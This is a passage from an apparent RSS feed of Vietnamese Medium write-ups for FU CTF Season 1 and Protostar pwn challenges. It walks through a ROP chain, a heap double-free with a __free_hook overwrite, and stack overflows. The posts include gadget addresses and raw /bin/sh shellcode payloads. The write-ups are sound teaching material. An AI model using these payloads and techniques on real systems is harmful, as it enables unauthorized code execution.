src="https://cdn-images-1.medium.com/max/734/1*xoexO7DmfKSZ7tBn0oinnQ.png" /></figure><p>Tuy nhiên, chương trình của chúng ta bị bật NX bit nên không thể sử dụng shellcode. Thêm nữa, chúng ta không leak được địa chỉ của libc nên không thể sử dụng kỹ thuật ret2libc. Thế nên, kế hoạch của mình là sử dụng kỹ thuật <strong>Return</strong>-<strong>oriented programming</strong> (ROP).</p><p>Sử dụng tool ROPgadget, mình tìm được những gadget sau có thể dùng được:<br>0x0805c34b : pop eax ; ret<br>0x080701d0 : pop edx ; pop ecx ; pop ebx ; ret<br>0x08049a21 : int 0x80</p><p>Mình sẽ thiết kế stack như sau:</p><p>&lt;ebp - 0x4&gt;: pop eax; ret (ghi đè return address) <br>&lt;ebp - 0x8&gt;: 0xb<br>&lt;ebp - 0xc&gt;: pop edx ; pop ecx ; pop ebx ; ret<br>&lt;ebp - 0x10&gt;: 0<br>&lt;ebp - 0x14&gt;: 0<br>&lt;ebp - 0x18&gt;: địa chỉ của &quot;/bin/sh&quot;<br>&lt;ebp - 0x1c&gt;: int 0x80</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*UU2Sl-65qY_ae4WK1-8jPA.png" /></figure><p>Trong chương trình không có chuỗi &quot;/bin/sh&quot; nên mình sẽ ghi /bin/sh vào một địa chỉ nào đó, rồi sử dụng địa chỉ đó. Mình chọn địa chỉ count[700], tương đương numbers[699]. Nhưng để biết địa chỉ này, mình phải leak được địa chỉ của stack.</p><p>Ở bài này, mình sẽ leak địa chỉ của ebp của hàm main (gọi là prev_ebp, previous so với hàm calc), từ đó tính được ebp của hàm calc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*CDYZkoqb626XYb3Jjp1NKg.png" /></figure><p>prev_ebp - ebp = 0xffffcde8 - 0xffffcde8 = 32<br>Vậy chúng ta chỉ cần đọc giá trị của numbers[359] là sẽ leak được giá trị của prev_ebp (359 = 0x59c/4, địa chỉ của numbers là 0x59c)</p><p>Vậy các bước của chúng ta như sau:</p><ol><li>Thay đổi giá trị ở địa chỉ numbers[699] thành 0x6e69622f (&quot;nib/&quot;)</li><li>Thay đổi giá trị ở địa chỉ numbers[700] thành 0x0068732f (“hs/”)</li><li>Leak địa chỉ ủa prev_ebp, từ đó tính được địa chỉ của ebp</li><li>Thay đổi giá trị ở địa chỉ numbers[360] thành địa chỉ của pop eax; ret</li><li>Thay đổi giá trị ở địa chỉ numbers[361] thành 0xb</li><li>Thay đổi giá trị ở địa chỉ numbers[362] thành địa chỉ của pop edx ; pop ecx ; pop ebx ; ret</li><li>Thay đổi giá trị ở địa chỉ numbers[363] thành 0</li><li>Thay đổi giá trị ở địa chỉ numbers[364] thành 0</li><li>Thay đổi giá trị ở địa chỉ numbers[365] thành địa chỉ &quot;/bin/sh&quot;</li><li>Thay đổi giá trị ở địa chỉ numbers[366] thành địa chỉ của int 0x80</li></ol><p>Và sau đây là script của mình ❤</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/9fc8c7ebebca3e211f0ab426f1cbe58d/href">https://medium.com/media/9fc8c7ebebca3e211f0ab426f1cbe58d/href</a></iframe><p>Kết quả:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*pqWQA3Ij9ZVMg9HP5wEZrw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*aRR2k7F02RDXqFJy7HYBOg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*axBjMMjA2h7QLHC0VuymOQ.png" /></figure><p>The End! Wish you have fun with this challenge!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bf2d32061ae3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[FU CTF Season 1-Mallocadium (Pwn)]]></title>
            <link>https://medium.com/@natsu2912/fu-ctf-season-1-mallocadium-pwn-33f680c76624?source=rss-632e34a27d8d------2</link>
            <guid isPermaLink="false">https://medium.com/p/33f680c76624</guid>
            <dc:creator><![CDATA[Lê Hiếu]]></dc:creator>
            <pubDate>Tue, 11 Jun 2019 03:47:14 GMT</pubDate>
            <atom:updated>2019-06-27T15:05:19.478Z</atom:updated>
            <content:encoded><![CDATA[<p>So với mấy bài khác thì bài này thật sự rất khó, mình cố hết sức rồi vẫn không thể giải ra trong thời gian thi. Nhưng đây là bài mình rất tâm đắc nhất .</p><p>Thôi không nói nhảm nữa. Let&#39;s pwn it!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V7MjcV2w5X4W0b_YLcuonA.jpeg" /></figure><p>Challenge:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/bc3514f0a89404b207ac7e533fc18f20/href">https://medium.com/media/bc3514f0a89404b207ac7e533fc18f20/href</a></iframe><p>Binary:<a href="https://github.com/natsu2912/FUCTF/blob/master/mallocadium"> https://github.com/natsu2912/FUCTF/blob/master/mallocadium</a><br>Libc: <a href="https://github.com/natsu2912/FUCTF/blob/master/libc-2.27.so">https://github.com/natsu2912/FUCTF/blob/master/libc-2.27.so</a></p><p>Chương trình cho phép chúng ta:<br>1. Cấp phát một vùng nhớ mới trong heap để ghi dữ liệu.<br>2. Copy địa chỉ từ entry(ứng với mỗi id khác nhau sẽ là các entry khác nhau) này qua entry khác trong malloctable.<br>3. Free một vùng nhớ và làm cho entry chứa địa chỉ vùng nhớ đó trỏ đến NULL (0x00)<br>4. Đọc dữ liệu ở vùng nhớ mà các entry trong malloctable trỏ đến.</p><p>Mình sẽ chia bài này làm 3 giai đoạn cho dễ tiếp cận:<br>1. Truy tìm tung tích &lt;base libc&gt; (tìm địa chỉ)<br>2. Tính toán các địa chỉ cần thiết cho quá trình exploit dựa vào base libc.<br>3. Exploit and get flag ✌️</p><p>Stage 1: Truy tìm tung tích &lt;base libc&gt; (tìm địa chỉ của &lt;base libc&gt;)</p><p>Ở đây chúng ta sẽ leak địa chỉ của vùng nhớ ở giữa &lt;main_arena&gt; dựa vào unsorted bin.<br>Theo kiến thức hạn hẹp của mình về heap thì sau khi các vùng nhớ được free, nó sẽ được đưa vào các bin như small bin, large bin, fast bin, tcache bin và unsorted bin.<br>Để vùng nhớ sau khi free được đưa vào unsorted bin thì có nhiều cách, cách của mình là cấp phát một vùng nhớ lớn (4096bytes), sau đó cấp phát thêm một vùng nhớ nhỏ (16 bytes). Sau đó chúng ta free vùng nhớ 4096bytes thì nó sẽ được đưa vào unsorted bins.<br> Khi đó vùng nhớ này sẽ nằm trong doubly linked list và fd(forward) và bk(backward) sẽ trỏ vào đâu đó trong vùng &lt;main_arena&gt;. Nếu chúng ta leak được địa chỉ này thì sẽ tính toán được địa chỉ của &lt;base libc&gt;.</p><p>Vậy kế hoạch của ta như sau:<br>1. Alloc 4096bytes với id = 1<br>2. Alloc 16bytes với id = 2<br>3. Copy địa chỉ từ id = 1 sang id = 3(bắt buộc phải có bước này để có thể use(chức năng số 4) after free<br>4. Free vùng nhớ tại id= 3 (lúc này entry có id = 1 vẫn giữ địa chỉ của vùng nhớ bị free)<br>5. Đọc giá trị tại địa chỉ vừa được free bằng cách sử dụng chức năng số 4 với id = 1. Sau đó chương trình sẽ trả về một địa chỉ trong vùng &lt;main_arena&gt; cho chúng ta.<br>6. Tính &lt;base libc&gt;&#39;s address dựa vào địa chỉ vừa nhận được<br>===&gt; Tính được địa chỉ của &lt;base libc&gt; &lt;===<br> 👉 Hoàn thành nhiệm vụ của giai đoạn 1 👈</p><p>Dưới đây là toàn bộ script để solve challenge này, nhưng mình đã thêm một số dòng để ngừng giữa các giai đoạn.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/c3946e9d041b93a071972886a6355f80/href">https://medium.com/media/c3946e9d041b93a071972886a6355f80/href</a></iframe><p>Dưới đây là một lần chạy thử chương trình trên localhost</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gzcFmqoxLA12TRkUM-OmcQ.png" /></figure><p>Sau khi hoàn thành bước 5, ta đọc được địa chỉ của &lt;main_arena+96&gt; là 0x7f240acadca0, thì địa chỉ của &lt;base libc&gt; là 0x7f240a8c2000. Như vậy khoảng cách giữa &lt;base libc&gt; và &lt;main_arena+96&gt; là 0x3ebca0.</p><p>Vậy ở bước 6, ta chỉ cần lấy địa chỉ của &lt;main_arena+96&gt; đã được leak ra trừ đi 0x3ebca0 là ra địa chỉ của &lt;base libc&gt;</p><p>Tèn tennnnnnnnnnnnnnnnnnnnnnnnnn! Vậy là chúng ta đã hoàn thành giai đoạn 1. Let’s continue!</p><p>Stage 2: Tính toán các địa chỉ cần thiết cho quá trình exploit dựa vào base libc.</p><p>Dưới đây là kết quả sau khi mình checksec</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*sbJMzyqC4hLUDqU63WjXcw.png" /></figure><p>Ta có thể thấy rõ NX bit và Stack protector đã được bật lên. Vậy chúng ta không thể sử dụng shellcode (NX bit), ROPgadget(Stack canary found). <br>Theo kiến thức hạn hẹp của mình thì giờ chỉ còn cách sử dụng one_gadget. Source: https://github.com/david942j/one_gadget<br>Tool này sẽ giúp chúng ta tìm được offset (được tính từ &lt;base_libc&gt;) của các các gadget có thể thực thi lệnh <strong><em>execve(&#39;/bin/sh&#39;, NULL, NULL)</em></strong></p><p>Sau khi dùng tool one_gadget thì chúng ta tìm được 3 offset sau: <br>0x4f2c5<br>0x4f322<br>0x10a38c</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*ZiBexsbaIEvkF1P8vS_3KA.png" /></figure><p>Sau khi thử cả 3 offset thì mình thấy chỉ có 0x4f322 là sử dụng được.</p><p>Đến đây thì mình bị stuck khá là lâu cho đến khi nhận được hint của tác giả. Chúng ta đã leak được địa chỉ của &lt;base_libc&gt; rồi từ đó tính được địa chỉ của one_gadget nhưng làm sao có thể redirect chương trình tới địa chỉ của one_gadget❓❓❓ <br>Vì chương trình đã bật stack protector nên đương nhiên không thể khai thác stack overflow để redirect dòng thực thi của chương trình.<br>Hint của tác giả: <strong><em>When i stuck i always use the hook</em></strong></p><p>Okay... Sau khi tìm hiểu thì mình biết được khi gọi hàm malloc thì chương trình sẽ kiểm tra một vùng nhớ có tên là &lt;__malloc_hook&gt;, nếu vùng nhớ này không bị NULL (có chứa địa chỉ) thì chương trình sẽ thực thi các câu lệnh tại địa chỉ này trước rồi mới bắt đầu cấp phát vùng nhớ cho chúng ta. Tương tự, hàm free cũng có vùng nhớ &lt;__free_hook&gt;. Sau khi mình thử cả 2 thì chỉ có &lt;__free_hook&gt; là sử dụng được.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*s-NSzjnz_oSg1KeURLN-5w.png" /></figure><p>Offset của &lt;__free_hook&gt; là 0x3ed8e8<br>Như vậy chúng ta đã hoàn thành giai đoạn 2.<br>Now, time to get flag ✊</p><p>Stage 3: 👉 Exploit and get flag 👈<br>Ở giai đoạn cuối, mục tiêu của chúng ta là ghi đè địa chỉ của one_gadget vào vùng nhớ của &lt;__free_hook&gt;.<br>Đầu tiên thì mình nghĩ đến unlink technique. Tuy nhiên unlink có một nhước điểm rất lớn: Sau khi ghi đè địa chỉ của one_gadget vào &lt;__free_hook&gt; thì tại địa chỉ &lt;one_gadget + 0x8&gt; hoặc &lt;one_gadget + 0xc&gt; cũng sẽ bị ghi đè. Mà vùng này đã excutable thì đương nhiên k thể write (NX bit), hơn nữa cho dù có write được thì ta cũng ghi đè lên vùng one_gadget, và chương trình sau đó chắc chắn sẽ không thể thực thi execve() như dự định ban đầu</p><p>Sau khi tìm hiểu thì mình biết đến một technique khác, khai thác cơ chế của fastbin. Fastbin là một singly linked list (danh sách liên kết đơn) lưu trữ địa chỉ của những vùng nhớ đã được free mà có cùng một size. Cơ chế hoạt động của fastbin sẽ được giải thích thông qua ví dụ ở dưới.</p><p>Ví dụ: Chúng ta thực hiện các bước sau<br>Cấp phát vùng nhớ cho id = 4, size = 0x60, ta được cấp phát ở vị trị 0x602010<br>Cấp phát vùng nhớ cho id = 5, size = 0x60, ta được cấp phát ở vị trí 0x602070<br>Free vùng nhớ có id = 5<br>Free vùng nhớ có id = 4<br>Cấp phát lại vùng nhớ có id = 4 (hoặc id khác tùy ý), size = 0x60<br>Cấp phát lại vùng nhớ có id = 5 (hoặc id khác tùy ý), size = 0x60</p><p>Sau khi free vùng nhớ có id = 5, fd(forward) của vùng nhớ này sẽ trỏ đến NULL vì trong fastbin chưa lưu trữ bất kỳ địa chỉ nào trước đó. Nhưng sau khi free vùng nhớ có id = 4 thì fd của vùng nhớ này sẽ chứa địa chỉ 0x602070 (địa chỉ của vùng nhớ đã từng là của id = 5).<br>Singly linked list: NULL &lt;== 0x602070 &lt;== [0x602010]<br>Note: địa chỉ ghi trong ngoặc vuông là [head] của list. <br>(Remind: Trong singly linked list, ta chỉ cần nhớ giá trị của [head])</p><p>Khi ta cấp phát lại vùng nhớ có id = 4, size = 0x60, allocator sẽ tìm fastbin của các vùng nhớ có size = 0x60 và tìm thấy [head] = 0x602010 ([head] là phần tử đầu tiên trong singly linked list). Allocator sẽ tìm đến fd của 0x602010 và tìm thấy địa chỉ 0x602070, sau đó cấp phát vùng nhớ 0x602010 cho id = 4, remove 0x602010 khỏi singly linked list và gán [head] = 0x602070 để phục vụ cho lần cấp phát tiếp theo. <br>Singly linked list: NULL &lt;== [0x602070]<br>Khi ta cấp phát lại vùng nhớ có id = 5, size= 0x60 thì quá trình cũng thực hiện y như trên. Allocator sẽ cấp phát vùng nhớ 0x602070 cho id = 5, remove 0x602070 ra khỏi singly linked list và gán [head] = NULL (vì fd của vùng nhớ 0x602070 trỏ tới NULL).<br>Singly linked list: [NULL]</p><p>Vậy chúng ta sẽ khai thác cơ chế này như thế nào? <br>Think....think....think about it!</p><p>Sẽ ra sao nếu khi cấp phát lại vùng nhớ cho id = 4, fd ở 0x602010 = &lt;__free_hook&gt;, nghĩa là vùng nhớ 0x602010 trỏ đến &lt;__free_hook&gt;❓<br>Singly linked list: NULL &lt;== &lt;__free_hook&gt; &lt;== [0x602010] (trước khi cấp phát)<br>That&#39;s right! Sau khi cấp phát danh sách liên kết sẽ trở thành như sau<br>Singly linked list: NULL &lt;== [&lt;__free_hook&gt;]<br>Vậy chúng ta chỉ cần tiếp tục cấp phát vùng nhớ có size = 0x60 với data = địa chỉ của one_gadget.</p><p>Nhưnggggggggggggg................................................!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!<br>How can we overwrite it? How can thay đổi 0x602070 trong list trở thành &lt;__free_hook&gt;??<br>Ở đây mình sẽ sử dụng thêm một technique có tên là &quot;double free&quot;. Mình sẽ free vùng nhớ 0x602010 2 lần liên tiếp (nhờ vào chức năng copy của chương trình). Khi đó danh sách liên kết sẽ như sau:<br>Singly linked list: NULL &lt;== 0x602070 &lt;== 0x602010 &lt;== [0x602010]<br>0x602010 tự trỏ đến vùng nhớ của mình, nghĩa khi cấp phát lần đầu tiên, ta có thể thay đổi fd =&lt;__free_hook&gt;. Các bước tiếp theo thì thực hiện như ở trên đã giải thích.</p><p>Vậy kế hoạch của chúng ta như sau:<br>(Lưu ý: các địa chỉ 0x602xxx là ví dụ cho dễ hiểu, thực tế sẽ khác)<br>1. Cấp phát vùng nhớ cho id = 4, size = 96, value = &#39;a&#39;<br>2. Cấp phát vùng nhớ cho id = 5, size = 96, value = ‘b’<br>3. Free vùng nhớ của id = 5,.<br>Singly linked list: NULL &lt;== [0x602070]<br>4. Copy địa chỉ của id = 4 sang id = 7 (mình thích số 7 nên bỏ qua số 6 😏)<br>5. Free vùng nhớ của id = 4<br>Singly linked list: NULL &lt;== 0x602070 &lt;== [0x602010]<br>6. Free vùng nhớ của id = 7 (Double free, vì id = 7 giữ địa chỉ của vùng nhớ giống với id = 4)<br>Singly linked list: NULL &lt;== 0x602070 &lt;== 0x602010 &lt;== [0x602010]<br>7. Cấp phát vùng nhớ cho id = 4, size = 96, value = &lt;__free_hook&gt; (ghi đè địa chỉ của __free_hook )lên fd của vùng nhớ 0x602010<br>Singly linked list: NULL &lt;== &lt;__free_hook&gt; &lt;== [0x602010]<br>thay vì.................NULL &lt;== 0x602070 &lt;== [0x602010]<br>8. Cấp phát vùng nhớ cho id = 8, size = 96, value = &quot;abcd&quot; (ở đây ghi cái gì cũng được :v bước này dùng để remove 0x602010 khỏi linked list, và thay đổi [head] = &lt;__free_hook&gt; thôi, value chả quan trọng)<br>9. Cấp phát vùng nhớ cho id = 7 , size = 96, value = one_gadget (ghi đè one_gadget vào &lt;__free_hook&gt;<br>10. Free vùng nhớ của id = 7 (trigger __free_hook(), chính là các câu lệnh tại địa chỉ one_gadget mình vừa ghi đè).<br>11. And.............get flag time ✌️</p><p>Sau khi chạy hết script của mình, chúng ta sẽ get được shell của server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*sG4Vlj-OzFYBvGaABHy9Ww.png" /></figure><p>BINGO! Here&#39;s the flag!<br>FLAG: fuctf{tc4ch3_m4d3_it_e4si3r_right?}</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=33f680c76624" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[FU CTF Season 1 — Traversing The Maze (Programming)]]></title>
            <link>https://medium.com/@natsu2912/fu-ctf-season-1-traversing-the-maze-programming-c150648b0692?source=rss-632e34a27d8d------2</link>
            <guid isPermaLink="false">https://medium.com/p/c150648b0692</guid>
            <dc:creator><![CDATA[Lê Hiếu]]></dc:creator>
            <pubDate>Mon, 10 Jun 2019 08:54:14 GMT</pubDate>
            <atom:updated>2019-09-18T04:25:32.882Z</atom:updated>
            <content:encoded><![CDATA[<h3>FU CTF Season 1 — Traversing The Maze (Programming)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*0YHyz4QA1WGM-J17" /></figure><p>.</p><p>Challenge:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/9e7557d128f749807fd7e9a83b0eb032/href">https://medium.com/media/9e7557d128f749807fd7e9a83b0eb032/href</a></iframe><p>gen.py:<br><a href="https://github.com/natsu2912/FUCTF/blob/master/gen.py">https://github.com/natsu2912/FUCTF/blob/master/gen.py</a></p><p>Bài này đơn giản là file flag sẽ được giấu trong một trong các leave folder (root folder = maze~ /home/ctf/maze) nên mình phải brute force thôi :v<br>Mình thì không giỏi thuật toán cho lắm nên không biết làm đệ quy nên đành viết vòng lặp vậy:(</p><p>pro.py:<br><a href="https://github.com/natsu2912/FUCTF/blob/master/pro.py">https://github.com/natsu2912/FUCTF/blob/master/pro.py</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-YS6j90slv1qD9aPDhAamw.png" /><figcaption>Running…</figcaption></figure><p>Bumppp, get flag :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n8OqM3SzS0WMp4Mqt56PJw.png" /></figure><p>Yeah, so easy nhưng tui vẫn phải viết writeup để nhận giải huhu 😅</p><p>FLAG: fuctf{m3t_qu4_Ah!!!!!!!!!!!!!!!!!!!!!!!}</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c150648b0692" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[FU CTF Season 1 — Shellcode 101 (Shellcode)]]></title>
            <link>https://medium.com/@natsu2912/fu-ctf-season-1-shellcode-101-shellcode-26d289d95c2?source=rss-632e34a27d8d------2</link>
            <guid isPermaLink="false">https://medium.com/p/26d289d95c2</guid>
            <dc:creator><![CDATA[Lê Hiếu]]></dc:creator>
            <pubDate>Mon, 10 Jun 2019 02:59:04 GMT</pubDate>
            <atom:updated>2019-06-10T02:59:04.254Z</atom:updated>
            <content:encoded><![CDATA[<p>FU CTF Season 1 — Shellcode 101 (Shellcode)</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/0*f5OHBOUYb9LkO9fk" /></figure><p>Challenge:</p><p><a href="https://github.com/natsu2912/FUCTF/blob/master/shellcode.c">https://github.com/natsu2912/FUCTF/blob/master/shellcode.c</a></p><p>Bài này đơn giản là lên mạng tìm shellcode x86(64 bit) rồi truyền input vào chương trình thôi ✌️ Script kiddie time ❤</p><p>Mình chọn shellcode ở trang này:</p><p><a href="http://shell-storm.org/shellcode/files/shellcode-603.php">http://shell-storm.org/shellcode/files/shellcode-603.php</a></p><p>Let’s get flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s6OYbFOkA9xEZQa-mIjHEw.png" /></figure><p>FLAG: fuctf{wheeel_c0m3_to_r34l_h4cker_w0rld!!!}</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=26d289d95c2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[FU CTF Season 1 -Shellcode321(Shellcode)]]></title>
            <link>https://medium.com/@natsu2912/fu-ctf-season-1-shellcode321-shellcode-e3d2d0faaec9?source=rss-632e34a27d8d------2</link>
            <guid isPermaLink="false">https://medium.com/p/e3d2d0faaec9</guid>
            <category><![CDATA[shellcode]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Lê Hiếu]]></dc:creator>
            <pubDate>Mon, 10 Jun 2019 02:31:27 GMT</pubDate>
            <atom:updated>2019-09-18T04:18:34.404Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/proxy/0*f5OHBOUYb9LkO9fk" /></figure><p>Challenge:<br><a href="https://github.com/natsu2912/FUCTF/blob/master/shellcoderevenge.c">https://github.com/natsu2912/FUCTF/blob/master/shellcoderevenge.c</a></p><p>Bài này cũng gần giống bài Shellcode101, cho phép chúng ta truyền shellcode vào biến func, nhưng 48 bytes đầu sau đó sẽ bị ghi đè bởi &quot;\x48\x31\xC0\x48\x31\xDB\x48\x31\xD2\x48\x31\xED\x48\x31\xE4\x48\x31\xC9\x4D\x31\xC0\x48\x31\xFF\x48\x31\xF6\x4D\x31\xC9\x4D\x31\xD2\x4D\x31\xDB\x4D\x31\xE4\x4D\x31\xED\x4D\x31\xF6\x4D\x31\xFF&quot;<br>Disassemble it:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/a933cebaf8e945490c33b1ad7c6c8dd1/href">https://medium.com/media/a933cebaf8e945490c33b1ad7c6c8dd1/href</a></iframe><p>-</p><p>Đoạn shellcode trên sẽ zero out giá trị của tất cả các thanh ghi. Chúng ta thử input &quot;\x90&quot;*48 +[our shellcode]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0CP05q2kw6DjpxFuG6n0JQ.png" /></figure><p>Như vậy chúng ta bị stuck ngay lệnh push rbx. Lý do là vì lúc này rsp = 0x0, chúng ta không được quyền ghi vào vùng nhớ này.</p><p>Để shellcode của chúng ta chạy được thì ta phải set rsp vào vùng nhớ writeable. Mình chọn địa chỉ của rip + 0x500 (dòng màu đỏ trong ảnh)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*udIl4Fryg67jgf7_TJktsQ.png" /></figure><p>Vậy ta thêm lệnh “lea rsp, [rip + 0x500]” vào ngay đầu shellcode của chúng ta, assemble it: “\x48\x8d\x25\x00\x05\x00\x00”.</p><p>Payload: &quot;\x90&quot;*48 + &quot;\x48\x8d\x25\x00\x05\x00\x00\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05&quot;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7OP4zGNIMXSwBUyV7HLfew.png" /><figcaption>Lệnh chúng ta mới thêm vào</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yvuY3bzO4D3pwEbNotJ3gw.png" /><figcaption>Đã qua được lệnh &quot;push rbx&quot;</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uJRTgeJrynWtCB8fdH1-DA.png" /><figcaption>Cuối cùng ta sẽ thực thi chương trình /bin/dash, sau đó sẽ bị SegFault</figcaption></figure><p>Let&#39;s get flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ebBqlPhpDlkjq-Ll_WJ6Rg.png" /></figure><p>FLAG: fuctf{master_ji_0f_assembly????}</p><p>Comment: Đề này đối với ai đã học shellcode thật sự thì thật sự rất dễ, còn đối với script kiddie thì khá là căng =)))</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e3d2d0faaec9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[First Writeup — Shellcode]]></title>
            <link>https://medium.com/@natsu2912/first-writeup-shellcode-e0b790be2193?source=rss-632e34a27d8d------2</link>
            <guid isPermaLink="false">https://medium.com/p/e0b790be2193</guid>
            <category><![CDATA[vietnam]]></category>
            <category><![CDATA[shellcode]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[buffer-overflow]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Lê Hiếu]]></dc:creator>
            <pubDate>Fri, 29 Mar 2019 03:11:20 GMT</pubDate>
            <atom:updated>2019-03-29T03:15:45.335Z</atom:updated>
            <content:encoded><![CDATA[<h3>First Writeup — Shellcode</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sv3WwZiNosKSXlvK.jpeg" /></figure><p>Đây là lần đầu mình viết writeup nên có thể hơi dở, mong mọi người bỏ qua ✌️<br>Bài này mình lấy ở trong máy ảo Protostar ở <a href="https://exploit.education/">https://exploit.education</a>/, các bạn có thể tải tại đây: <a href="https://exploit.education/protostar/">https://exploit.education/protostar/</a><br>Đề: <a href="https://exploit.education/protostar/stack-five/">https://exploit.education/protostar/stack-five/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9v_2vDa0GYHEfh9I1JD7_Q.png" /></figure><p>Với buffer chứa 64 kí tự và hàm gets(buffer), ta có thể dễ dàng đoán được dạng bài này là Buffer Overflow. Để kiểm tra, mình thử lệnh sau:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*jXxmDbXlgatk38lCfb80uA.png" /><figcaption>python -c ‘print “A”*100’ | ./stack5</figcaption></figure><p>Do chương trinh báo lỗi “Segmentation fault” nên mình càng chắc chắn đây là Buffer Overflow. Nhưng với bài này, chúng ta có thể thấy không có hàm nào là mục tiêu để mình redirect tới, nên mình nghĩ phải dùng shellcode.</p><p>Tiếp theo, mình dùng gdb để tìm địa chỉ ô nhớ chứa return address mà chương trình sử dụng sau khi kết thúc hàm main và địa chỉ ô nhớ chứa mảng kí tự buffer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*CP9lEy5AiQ6lTCvoWU-gUw.png" /></figure><p>Vậy buffer bắt đầu ở địa chỉ 0xbffff770, return address lưu ở 0xbffff7bc. Ta có thể dễ dàng tính được khoảng cách là 76 kí tự.</p><p>Thường thì payload của shellcode có dạng sau:<br>padding + return address + shellcode<br>Trong đó: <br>_ Padding là những kí tự bất kì, ví dụ ở bài này mình dùng 76 chữ “a”<br>_ Return address: là địa chỉ mình ghi đè lên địa chỉ ban đầu của chương trình, đối với dạng bài shellcode thì địa chỉ này phải là địa chỉ chứa shellcode.<br>Hiện tại mình đã biết padding là 76 kí tự “a”, còn return address và shellcode là gì?</p><p>Mình chọn cách đơn giản là đặt shellcode ở vùng stack ngay phía sau return address vì vùng stack là nơi chúng ta có thể dễ dàng điều khiển khi chương trình có lỗi Buffer Overflow. Vậy return address = 0xbffff7c0.<br>Hiện tại: paylaod = “a”*76 + 0xbffff7c0 + shellcode.<br>Shellcode thì mình lấy sẽ dùng shellcode có sẵn ở trang này <a href="http://shell-storm.org/shellcode/files/shellcode-585.php">http://shell-storm.org/shellcode/files/shellcode-585.php</a></p><pre>Shellcode:<br>\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68</pre><p>Các thành phần của Payload đã có đủ, giờ mình bắt đầu exploit thôi 🎮</p><p>Tuy nhiên trước khi mình bỏ shellcode thật vào để exploit, mình thay phần shellcode = “\xcc”. Đây là lệnh tạo breakpoint, nếu chương trình thực hiện lệnh này thì nó tương đương với việc nó sẽ thực hiện shellcode.</p><p>Đây là script python của mình:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*NUQj5wVJzzg21ekZvFReDA.png" /></figure><p>Mình lưu output của chương trình này vào file “solve”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*_cEfmEcm2vCv-nr2M_lOgg.png" /></figure><p>Kết quả:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*tCOPf1z8jxy6oagR3uyqAw.png" /></figure><p>Yay!! “Program received signal SIGTRAP, Trace/breakpoint trap” xuất hiện nghĩa là chúng ta đã thành công! Giờ chỉ việc thay shellcode vào chỗ “\xcc” mà thôi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*tg-c_4rUXVClY-Ip4fe46w.png" /></figure><figure><img alt="" 